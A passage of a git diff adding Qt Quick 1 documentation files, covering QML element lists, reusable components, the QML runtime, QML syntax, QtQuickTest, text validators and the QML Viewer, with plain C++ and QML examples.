+ <li><a href="qml-webview.html">WebView Element</a> - The WebView item allows you to add Web content to a canvas.</li>
+ </ul>
+ <b>Model Elements:</b>
+ <ul>
+ <li><a href="qml-folderlistmodel.html">FolderListModel Element</a> - The FolderListModel provides a model of the contents of a file system folder.</li>
+ <li><a href="qml-listelement.html">ListElement Element</a> - A ListElement defines a data item in a ListModel.</li>
+ <li><a href="qml-listmodel.html">ListModel Element</a> - The ListModel element defines a free-form list data source.</li>
+ <li><a href="qml-visualdatamodel.html">VisualDataModel Element</a> - The VisualDataModel encapsulates a model and delegate.</li>
+ <li><a href="qml-visualitemmodel.html">VisualItemModel Element</a> - The VisualItemModel allows items to be provided to a view.</li>
+ <li><a href="qml-xmllistmodel.html">XmlListModel Element</a> - The XmlListModel element is used to specify a model using XPath expressions.</li>
+ <li><a href="qml-xmlrole.html">XmlRole Element</a> - The XmlRole element allows you to specify a role for an XmlListModel.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="paths">Paths</a></h2>
+ <p>
+ QML components can be arranged along paths. Path elements allow control over different
+ path types.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-path.html">Path Element</a> - A Path object defines a path for use by PathView.</li>
+ <li><a href="qml-pathattribute.html">PathAttribute Element</a> - The PathAttribute allows setting an attribute at a given position in a Path.</li>
+ <li><a href="qml-pathcubic.html">PathCubic Element</a> - The PathCubic defines a cubic Bezier curve with two control points.</li>
+ <li><a href="qml-pathelement.html">PathElement Element</a> - PathElement is the base path type.</li>
+ <li><a href="qml-pathline.html">PathLine Element</a> - The PathLine defines a straight line.</li>
+ <li><a href="qml-pathpercent.html">PathPercent Element</a> - The PathPercent manipulates the way a path is interpreted.</li>
+ <li><a href="qml-pathquad.html">PathQuad Element</a> - The PathQuad defines a quadratic Bezier curve with a control point.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="ParticleElement">Particle Elements</a></h2>
+ <p>
+ Particle effects are declared and controlled using particle elements.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-particlemotiongravity.html">ParticleMotionGravity Element</a> - The ParticleMotionGravity object moves particles towards a point.</li>
+ <li><a href="qml-particlemotionlinear.html">ParticleMotionLinear Element</a> - The ParticleMotionLinear object moves particles linearly.</li>
+ <li><a href="qml-particlemotionwander.html">ParticleMotionWander Element</a> - The ParticleMotionWander object moves particles in a somewhat random fashion.</li>
+ <li><a href="qml-particles.html">Particles Element</a> - The Particles object generates and moves particles.</li>
+ </ul>
+ </div>
+ </div>
+ <!-- next -->
+ <div class="item group">
+ <hr />
+ <div class="secondary">
+ <div class="box">
+ <!-- video box -->
+ <h3>
+ image heading</h3>
+ <img src="" />
+ <p>
+ img descr.</p>
+ </div>
+ <!-- video box end -->
+ </div>
+ <div class="primary">
+ <h2><a name="bridge">Bridge Elements</a></h2>
+ <p>
+ Bridge elements allow direct communication between C++ and QML entities.</p>
+ <b>Elements:</b>
+ <ul>
+ <li><a href="qml-layoutitem.html">LayoutItem Element</a> - The LayoutItem element allows declarative UI elements to be placed inside Qt's Graphics View layouts.</li>
+ </ul>
+ </div>
+ </div>
+
+\endraw
+
+
+
+*/
+
diff --git a/doc/src/qtquick1/qmlreusablecomponents.qdoc b/doc/src/qtquick1/qmlreusablecomponents.qdoc
new file mode 100644
index 0000000000..9860dd4aa2
--- /dev/null
+++ b/doc/src/qtquick1/qmlreusablecomponents.qdoc
@@ -0,0 +1,160 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlreusablecomponents.html
+\ingroup qml-features
+\previouspage {QML Signal and Handler Event System}{Signal and Handler Event System}
+\nextpage {QML States}{States}
+\contentspage QML Features
+
+\title Importing Reusable Components
+
+A \e component is an instantiable QML definition, typically contained in a
+\c .qml file. For instance, a Button \e component may be defined in
+\c Button.qml. The QML runtime may instantiate this Button component to create
+Button \e objects. Alternatively, a component may be defined inside a
+\l Component element.
+
+Moreover, the Button definition may also contain other components. A Button
+component could use a Text element for its label and other components to
+implement its functions. Compounding components to form new components
+(and effectively new interfaces) is the emphasis in QML.
+
+\keyword qml-define-components
+\section1 Defining New Components
+
+Any snippet of QML code may become a component, by placing the code in a QML
+file (extension is \c .qml). A complete Button component that responds to user
+input may be in a Button.qml file.
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml document
+
+Alternatively, a \l Component element may encapsulate a QML object to form a
+component.
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml parent begin
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml define inline component
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml parent end
+
+\keyword qml-loading-components
+\section1 Loading a Component
+
+The initialization of inline components is different from loading a component
+from a \c .qml file.
+
+\section2 Importing a Component
+
+A component defined in a \c .qml file is directly usable by declaring the name
+of the component. For example, a button defined in \c Button.qml is created by
+declaring a \c Button. The button is defined in the
+\l {qml-define-components}{Defining New Components} section.
+\snippet doc/src/snippets/declarative/reusablecomponents/application.qml document
+
+Note that the component name, \c Button, matches the QML filename, \c Button.qml.
+Also, the first character is in upper case. Matching the names allow
+components in the same directory to be in the direct import path of the
+application.
+
+For flexibility, a \c qmldir file is for dictating which additional components,
+plugins, or directories should be imported. By using a \c qmldir file,
+component names do not need to match the filenames. The \c qmldir file should,
+however, be in an imported path.
+\snippet doc/src/snippets/declarative/reusablecomponents/qmldir document
+
+\section2 Loading an Inline Component
+
+A consequence of inline components is that initialization may be deferred or
+delayed. A component may be created during a MouseArea event or by using a
+\l Loader element. The component can create an object, which is addressable in a
+similar way as an \l {qml-id-property}{id property}. Thus, the created object may
+have its bindings set and read like a normal QML object.
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml define inline component
+\snippet doc/src/snippets/declarative/reusablecomponents/component.qml create inline component
+
+\keyword qml-component-properties
+\section1 Component Properties
+
+Initializing a component, either from a .qml file or initializing an inline
+component, have several properties to facilitate component execution.
+Specifically, there are \l{attached-properties}{attached properties} and
+\l{attached-signalhandlers}{attached signal handlers} for setting properties
+during the lifetime of a component.
+
+The \c{Component.onCompleted} attached signal handler is called when the
+component completes initialization. It is useful for executing any commands
+after component initialization. Similarly, the \c{Component.onDestruction}
+signal handler executes when the component finishes destruction.
+
+\keyword qml-top-level
+\section1 Top-Level Component
+
+Choosing the \e{top-level} or the \e{root} object of components is an important
+design aspect because the top-level object dictates which properties are
+accessible outside the component. Some elements are not visual elements and
+will not have visual properties exposed outside the component. Likewise, some
+elements add functionality that are not available to visual elements.
+
+Consider the Button component from the
+\l{qml-define-components}{Defining New Components} section; it's top-level
+object is a \l Rectangle. When imported, the Button component will possess the
+Rectangle's properties, methods, signals, and any custom properties.
+
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent begin
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml ellipses
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml properties
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml ellipses
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent end
+
+The Button's \c text alias is accessible from outside the component as well as
+the Rectangle's visual properties and signals such as \c x, \c y, \c anchors,
+and \c states.
+
+Alternatively, we may choose a \l {Keyboard Focus in QML}{FocusScope} as our
+top-level object. The \l FocusScope element manage keyboard focus for its
+children which is beneficial for certain types of interfaces. However, since
+\c FocusScopes are not visual elements, the visual properties of its child need
+to be exposed.
+
+\snippet doc/src/snippets/declarative/reusablecomponents/focusbutton.qml document
+
+\section2 Child Components
+
+Objects or Items declared within a component can be made accessible by binding their id to a
+property alias.
+
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent begin
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml object alias
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml text
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent end
+
+The advantage of using an alias instead a property of type of the object is that the value of
+the alias cannot be overridden, and members of the object can be used in property bindings when
+declaring an instance of the component.
+\snippet doc/src/snippets/declarative/reusablecomponents/application.qml grouped property
+If a property of type \c Text was used instead of an alias in this instance there would be no
+guarantee that \c label would be initialized before the binding was attempted which would cause
+the binding to fail.
+*/
diff --git a/doc/src/qtquick1/qmlruntime.qdoc b/doc/src/qtquick1/qmlruntime.qdoc
new file mode 100644
index 0000000000..5d932a7936
--- /dev/null
+++ b/doc/src/qtquick1/qmlruntime.qdoc
@@ -0,0 +1,144 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlruntime.html
+\title Qt Declarative UI Runtime
+
+QML documents are loaded and executed by the QML runtime. This includes the
+Declarative UI engine along with the built-in QML elements and plugin modules,
+and it also provides access to third-party QML elements and modules.
+
+Applications that use QML need to invoke the QML runtime in order to
+execute QML documents. This can be done by creating a QDeclarativeView
+or a QDeclarativeEngine, as described below. In addition, the Declarative UI
+package includes the \QQV tool, which loads \c .qml files. This tool is
+useful for developing and testing QML code without the need to write
+a C++ application to load the QML runtime.
+
+
+
+\section1 Deploying QML-based applications
+
+To deploy an application that uses QML, the QML runtime must be invoked by
+the application. This is done by writing a Qt C++ application that loads the
+QDeclarativeEngine by either:
+
+\list
+\o Loading the QML file through a QDeclarativeView instance, or
+\o Creating a QDeclarativeEngine instance and loading QML files with QDeclarativeComponent
+\endlist
+
+
+\section2 Deploying with QDeclarativeView
+
+QDeclarativeView is a QWidget-based class that is able to load QML files.
+For example, if there is a QML file, \c application.qml, like this:
+
+\qml
+ import QtQuick 1.0
+
+ Rectangle { width: 100; height: 100; color: "red" }
+\endqml
+
+It can be loaded in a Qt application's \c main.cpp file like this:
+
+\code
+ #include <QApplication>
+ #include <QDeclarativeView>
+
+ int main(int argc, char *argv[])
+ {
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("application.qml"));
+ view.show();
+
+ return app.exec();
+ }
+\endcode
+
+This creates a QWidget-based view that displays the contents of
+\c application.qml.
+
+The application's \c .pro \l{qmake Project Files}{project file} must specify
+the \c declarative module for the \c QT variable. For example:
+
+\code
+ TEMPLATE += app
+ QT += gui declarative
+ SOURCES += main.cpp
+\endcode
+
+
+\section2 Creating a QDeclarativeEngine directly
+
+If \c application.qml does not have any graphical components, or if it is
+preferred to avoid QDeclarativeView for other reasons, the QDeclarativeEngine
+can be constructed directly instead. In this case, \c application.qml is
+loaded as a QDeclarativeComponent instance rather than placed into a view:
+
+\code
+ #include <QApplication>
+ #include <QDeclarativeEngine>
+ #include <QDeclarativeContext>
+ #include <QDeclarativeComponent>
+
+ int main(int argc, char *argv[])
+ {
+ QApplication app(argc, argv);
+
+ QDeclarativeEngine engine;
+ QDeclarativeContext *objectContext = new QDeclarativeContext(engine.rootContext());
+
+ QDeclarativeComponent component(&engine, "application.qml");
+ QObject *object = component.create(objectContext);
+
+ // ... delete object and objectContext when necessary
+
+ return app.exec();
+ }
+\endcode
+
+See \l {Using QML Bindings in C++ Applications} for more information about using
+QDeclarativeEngine, QDeclarativeContext and QDeclarativeComponent, as well
+as details on including QML files through \l{The Qt Resource System}{Qt's Resource system}.
+
+
+
+\section1 Developing and prototyping with QML Viewer
+
+The Declarative UI package includes a QML runtime tool, the \QQV, which loads
+and displays QML documents. This is useful during the application development
+phase for prototyping QML-based applications without writing your own C++
+applications to invoke the QML runtime.
+
+See the \l{QML Viewer} documentation for more details.
+
+*/
+
diff --git a/doc/src/qtquick1/qmlsyntax.qdoc b/doc/src/qtquick1/qmlsyntax.qdoc
new file mode 100644
index 0000000000..43be6af686
--- /dev/null
+++ b/doc/src/qtquick1/qmlsyntax.qdoc
@@ -0,0 +1,155 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qmlsyntax.html
+\title QML Syntax
+\ingroup QML Reference
+\contentspage QML Reference
+
+\tableofcontents
+
+QML is a declarative language designed to describe the user interface of a
+program: both what it looks like, and how it behaves. In QML, a user
+interface is specified as a tree of objects with properties.
+
+JavaScript is used as a scripting language in QML, so you may want
+to learn a bit more about it (\l{Javascript Guide}) before diving
+deeper into QML.
+
+\section1 Basic QML Syntax
+
+QML looks like this:
+
+\code
+import QtQuick 1.0
+
+Rectangle {
+ width: 200
+ height: 200
+ color: "blue"
+
+ Image {
+ source: "pics/logo.png"
+ anchors.centerIn: parent
+ }
+}
+\endcode
+
+Objects are specified by their type, followed by a pair of braces. Object
+types always begin with a capital letter. In the above example, there are
+two objects, a \l Rectangle, and an \l Image. Between the braces, we can specify
+information about the object, such as its properties.
+
+Properties are specified as \c {propertyname: value}. In the above example, we
+can see the Image has a property named \c source, which has been assigned the
+value \c "pics/logo.png". The property and its value are separated by a colon.
+
+Properties can be specified one-per-line:
+
+\code
+Rectangle {
+ width: 100
+ height: 100
+}
+\endcode
+
+or you can put multiple properties on a single line:
+
+\code
+Rectangle { width: 100; height: 100 }
+\endcode
+
+When multiple property/value pairs are specified on a single line, they
+must be separated by a semicolon.
+
+The \c import statement imports the \c Qt \l{QML Modules}{module}, which contains all of the
+standard \l {QML Elements}. Without this import statement, the \l Rectangle
+and \l Image elements would not be available.
+
+\section1 Expressions
+
+In addition to assigning values to properties, you can also assign
+expressions written in JavaScript.
+
+\code
+Rotation {
+ angle: 360 * 3
+}
+\endcode
+
+These expressions can include references to other objects and properties, in which case
+a \e binding is established: when the value of the expression changes, the property the
+expression has been assigned to is automatically updated to that value.
+
+\code
+Item {
+ Text {
+ id: text1
+ text: "Hello World"
+ }
+ Text {
+ id: text2
+ text: text1.text
+ }
+}
+\endcode
+
+In the example above, the \c text2 object will display the same text as \c text1. If \c text1 is changed,
+\c text2 is automatically changed to the same value.
+
+Note that to refer to other objects, we use their \e id values. (See below for more
+information on the \e id property.)
+
+\section1 QML Comments
+
+Commenting in QML is similar to JavaScript.
+\list
+\o Single line comments start with // and finish at the end of the line.
+\o Multiline comments start with /* and finish with *\/
+\endlist
+
+\snippet doc/src/snippets/declarative/comments.qml 0
+
+Comments are ignored by the engine. They are useful for explaining what you
+are doing; for referring back to at a later date, or for others reading
+your QML files.
+
+Comments can also be used to prevent the execution of code, which is
+sometimes useful for tracking down problems.
+
+\code
+Text {
+ text: "Hello world!"
+ //opacity: 0.5
+}
+\endcode
+
+In the above example, the Text object will have normal opacity, since the
+line opacity: 0.5 has been turned into a comment.
+
+*/
diff --git a/doc/src/qtquick1/qmltest.qdoc b/doc/src/qtquick1/qmltest.qdoc
new file mode 100644
index 0000000000..3421c16fae
--- /dev/null
+++ b/doc/src/qtquick1/qmltest.qdoc
@@ -0,0 +1,123 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \page qmltest.html
+ \title QtQuickTest Reference Documentation
+ \keyword QtQuickTest Reference Documentation
+
+ \section1 Introduction
+
+ QtQuickTest is a unit test framework for Qt Quick (QML) applications.
+ Test cases are written as JavaScript functions within a TestCase
+ element:
+
+ \code
+ import QtQuick 2.0
+ import QtTest 1.0
+
+ TestCase {
+ name: "MathTests"
+
+ function test_math() {
+ compare(2 + 2, 4, "2 + 2 = 4")
+ }
+
+ function test_fail() {
+ compare(2 + 2, 5, "2 + 2 = 5")
+ }
+ }
+ \endcode
+
+ Functions whose names start with \c{test_} are treated as test cases
+ to be executed. See the documentation for the \l TestCase and
+ \l SignalSpy elements for more information on writing test cases.
+
+ \section1 Running tests
+
+ Test cases are launched by a C++ harness that consists of
+ the following code:
+
+ \code
+ #include <QtQuickTest/quicktest.h>
+ QUICK_TEST_MAIN(example)
+ \endcode
+
+ Where "example" is an identifier to use to uniquely identify
+ this set of tests. You should add \c{CONFIG += qmltestcase}.
+ for example:
+
+ \code
+ TEMPLATE = app
+ TARGET = tst_example
+ CONFIG += warn_on qmltestcase
+ SOURCES += tst_example.cpp
+ \endcode
+
+ The test harness scans the specified source directory recursively
+ for "tst_*.qml" files. If \c{QUICK_TEST_SOURCE_DIR} is not defined,
+ then the current directory will be scanned when the harness is run.
+ Other *.qml files may appear for auxillary QML components that are
+ used by the test.
+
+ The \c{-input} command-line option can be set at runtime to run
+ test cases from a different directory. This may be needed to run
+ tests on a target device where the compiled-in directory name refers
+ to a host. For example:
+
+ \code
+ tst_example -input /mnt/SDCard/qmltests
+ \endcode
+
+ See \c{tests/qmlauto} in the source tree for an example of creating a
+ test harness that uses the \c{QUICK_TEST_SOURCE_DIR} macro.
+
+ If your test case needs QML imports, then you can add them as
+ \c{-import} options to the the test program command-line by adding
+ the following line to your .pro file:
+
+ \code
+ IMPORTPATH += $$PWD/../imports/my_module1 $$PWD/../imports/my_module2
+ \endcode
+
+ \section1 Running tests with QtQuick 1
+
+ The \c{-qtquick1} option can be passed to a test binary to run
+ the tests using QDeclarativeView (QtQuick 1) rather than QSGView (QtQuick 2):
+
+ \code
+ tst_example -qtquick1
+ \endcode
+
+ To run tests with either QtQuick 1 or QtQuick 2, use
+ "import QtQuick 1.0" in your unit tests and then specify
+ compatibility mode to the QtQuick2 engine:
+
+ \code
+ QMLSCENE_IMPORT_NAME=quick1 tst_example
+ \endcode
+*/
diff --git a/doc/src/qtquick1/qmltexthandling.qdoc b/doc/src/qtquick1/qmltexthandling.qdoc
new file mode 100644
index 0000000000..83b5022af2
--- /dev/null
+++ b/doc/src/qtquick1/qmltexthandling.qdoc
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page texthandling.html
+\title QML Text Handling and Validators
+\ingroup QML Features
+\previouspage {QML Mouse Events}{Mouse Events}
+\nextpage {Keyboard Focus in QML}{Keyboard Focus}
+\contentspage QML Features
+
+\tableofcontents
+
+\section1 Text Elements
+
+\list
+\o \l{Text}
+\o \l{TextInput}
+\o \l{TextEdit}
+\endlist
+
+\section1 Validators
+\list
+\o \l{IntValidator}
+\o \l{DoubleValidator}
+\o \l{RegExpValidator}
+\endlist
+
+\section1 Displaying Text in QML
+QML provides several elements to display text onto the screen. The \l Text
+element will display formatted text onto the screen, the \l TextEdit element
+will place a multiline line edit onto the screen, and the \l TextInput will
+place a single editable line field onto the screen.
+
+To learn more about their specific features and properties, visit their
+respective element documentation.
+
+\section1 Validating Input Text
+The \l {Validators}{validator} elements enforce the type and format of
+\l TextInput objects.
+
+\snippet doc/src/snippets/declarative/texthandling.qml int validator
+The validator elements bind to \c {TextInput}'s \c validator property.
+
+\snippet doc/src/snippets/declarative/texthandling.qml regexp validator
+The regular expression in the snippet will only allow the inputted text to be
+\c {fruit basket}.
+
+Note that QML parses JavaScript regular expressions, while Qt's
+\l {QRegExp} class' regular expressions are based on Perl regular expressions.
+
+*/
diff --git a/doc/src/qtquick1/qmlviewer.qdoc b/doc/src/qtquick1/qmlviewer.qdoc
new file mode 100644
index 0000000000..85df063b70
--- /dev/null
+++ b/doc/src/qtquick1/qmlviewer.qdoc
@@ -0,0 +1,237 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+
+\page qmlviewer.html
+\title QML Viewer
+\ingroup qttools
+
+The Declarative UI package includes \QQV, a tool for loading QML documents that
+makes it easy to quickly develop and debug QML applications. It invokes the QML
+runtime to load QML documents and also includes additional features useful for
+the development of QML-based applications.
+
+The QML Viewer is a tool for testing and developing QML applications. It is
+\e not intended for use in a production environment and should not be used for the
+deployment of QML applications. In those cases, the QML runtime should be invoked
+from a Qt application instead; see \l {Qt Declarative UI Runtime} for more
+information.
+
+The viewer is located at \c QTDIR/bin/qmlviewer. To load a \c .qml file
+with the viewer, run the viewer and select the file to be opened, or provide the
+file path on the command line:
+
+\code
+ qmlviewer myqmlfile.qml
+\endcode
+
+On Mac OS X, the QML Viewer application is named "QMLViewer" instead. You
+can launch the viewer by opening the QMLViewer application from the Finder, or
+from the command line:
+
+\code
+ QMLViewer.app/Contents/MacOS/QMLViewer myqmlfile.qml
+\endcode
+
+The QML Viewer has a number of configuration options involving features such as
+fullscreen display, module import path configurations, video recording of QML
+animations, and OpenGL support.
+
+To see the configuration options, run \c qmlviewer with the \c -help argument.
+
+
+\section1 Adding module import paths
+
+Additional module import paths can be provided using the \c -I flag.
+For example, the \l{declarative/cppextensions/plugins}{QML plugins example} creates
+a C++ plugin identified as \c com.nokia.TimeExample. Since this has a namespaced
+identifier, the viewer has to be run with the \c -I flag from the example's
+base directory:
+
+\code
+qmlviewer -I . plugins.qml
+\endcode
+
+This adds the current directory to the import path so that the viewer will
+find the plugin in the \c com/nokia/TimeExample directory.
+
+Note by default, the current directory is included in the import search path,
+but namespaced modules like \c com.nokia.TimeExample are not found unless
+the path is explicitly added.
+
+
+\section1 Loading translation files
+
+When the QML Viewer loads a QML file, it installs a translation file from a
+"i18n" subdirectory relative to that initial file. This directory should contain
+translation files named "qml_<language>.qm", where <language> is a two-letter
+ISO 639 language, such as "qml_fr.qm", optionally followed by an underscore and
+an uppercase two-letter ISO 3166 country code, such as "qml_fr_FR.qm" or
+"qml_fr_CA.qm".
+
+Such files can be created using \l {Qt Linguist}.
+
+The actual translation file that is loaded depends on the system locale.
+Additionally, the viewer will load any translation files specified on the command
+line via the \c -translation option.
+
+See the \l{declarative/i18n}{QML i18n example} for an example. Also, the
+\l{scripting.html#internationalization}{Qt Internationalization} documentation
+shows how JavaScript code in QML files can be made to use translatable strings.
+
+
+\section1 Loading placeholder data with QML Viewer
+
+Often, QML applications are prototyped with fake data that is later replaced
+by real data sources from C++ plugins. QML Viewer assists in this aspect by
+loading fake data into the application context: it looks for a directory named
+"dummydata" in the same directory as the target QML file, and any \c .qml
+files in that directory are loaded as QML objects and bound to the root context
+as properties named after the files.
+
+For example, this QML document refers to a \c lottoNumbers property which does
+not actually exist within the document:
+
+\qml
+import QtQuick 1.0
+
+ListView {
+ width: 200; height: 300
+ model: lottoNumbers
+ delegate: Text { text: number }
+}
+\endqml
+
+If within the document's directory, there is a "dummydata" directory which
+contains a \c lottoNumbers.qml file like this:
+
+\qml
+import QtQuick 1.0
+
+ListModel {
+ ListElement { number: 23 }
+ ListElement { number: 44 }
+ ListElement { number: 78 }
+}
+\endqml
+
+Then this model would be automatically loaded into the ListView in the previous document.
+
+Child properties are included when loaded from dummy data. The following document
+refers to a \c clock.time property:
+
+\qml
+import QtQuick 1.0
+Text { text: clock.time }
+\endqml
+
+The text value could be filled by a \c dummydata/clock.qml file with a \c time
+property in the root context:
+
+\qml
+import QtQuick 1.0
+QtObject { property int time: 54321 }
+\endqml
+
+To replace this with real data, you can simply bind the real data object to
+the root context in C++ using QDeclarativeContext::setContextProperty(). This
+is detailed in \l {Using QML Bindings in C++ Applications}.
+
+\section1 Using the \c runtime object
+
+QML applications that are loaded with the QML Viewer have access to a special
+\c runtime property on the root context. This property provides additional
+information about the application's runtime environment through the following properties:
+
+\table
+\row
+
+\o \c runtime.isActiveWindow
+
+\o This property indicates whether the QML Viewer window is the current active
+window on the system. It is useful for "pausing" an application, particularly
+animations, when the QML Viewer loses focus or moves to the background.
+
+For example, the following animation is only played when the QML Viewer is
+the active window:
+
+\qml
+Rectangle {
+ width: 200; height: 200
+
+ ColorAnimation on color {
+ running: runtime.isActiveWindow
+ loops: Animation.Infinite
+ from: "green"; to: "blue"; duration: 2000
+ }
+}
+\endqml
+
+\note Since Qt Quick 1.1 this information is accessible outside of the QML Viewer,
+through the \c active property of the \l {QML:Qt::application}{Qt.application} object.
+
+\row
+
+\o \c runtime.orientation
+
+\o This property indicates the current orientation of the QML Viewer. On the
+N900 platform and most S60 5.0-based or newer Symbian devices, this property
+automatically updates to reflect the device's actual orientation; on other platforms,
+this indicates the orientation currently selected in the QML Viewer's
+\e {Settings -> Properties} menu. The \c orientation value can be one of the following:
+
+\list
+\o \c Orientation.Portrait
+\o \c Orientation.Landscape
+\o \c Orientation.PortraitInverted (Portrait orientation, upside-down)
+\o \c Orientation.LandscapeInverted (Landscape orientation, upside-down)
+\endlist
+
+When the viewer's orientation changes, the appearance of the loaded QML document
+does not change unless it has been set to respond to changes in
+\c runtime.orientation. For example, the following Rectangle changes its
+aspect ratio depending on the orientation of the QML Viewer:
+
+\qml
+Rectangle {
+ id: window
+ width: 640; height: 480
+
+ states: State {
+ name: "landscape"
+ PropertyChanges { target: window; width: 480; height: 640 }
+ }
+ state: (runtime.orientation == Orientation.Landscape
+ || runtime.orientation == Orientation.LandscapeInverted) ? 'landscape' : ''
+}
+\endqml
+
+\endtable
+
+*/
+
diff --git a/doc/src/qtquick1/qmlviews.qdoc b/doc/src/qtquick1/qmlviews.qdoc
new file mode 100644
index 0000000000..e28c4ec31a
--- /dev/null
+++ b/doc/src/qtquick1/qmlviews.qdoc
@@ -0,0 +1,127 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-views.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML Data Models}{Structuring Data with Models}
+\nextpage {Extending QML Functionalities using C++}
+\title Presenting Data with Views
+
+Views are containers for collections of items. They are feature-rich and can be
+customizable to meet style or behavior requirements.
+
+\keyword qml-view-elements
+A set of standard views are provided in the basic set of Qt Quick
+graphical elements:
+
+\list
+\o \l{ListView} arranges items in a horizontal or vertical list
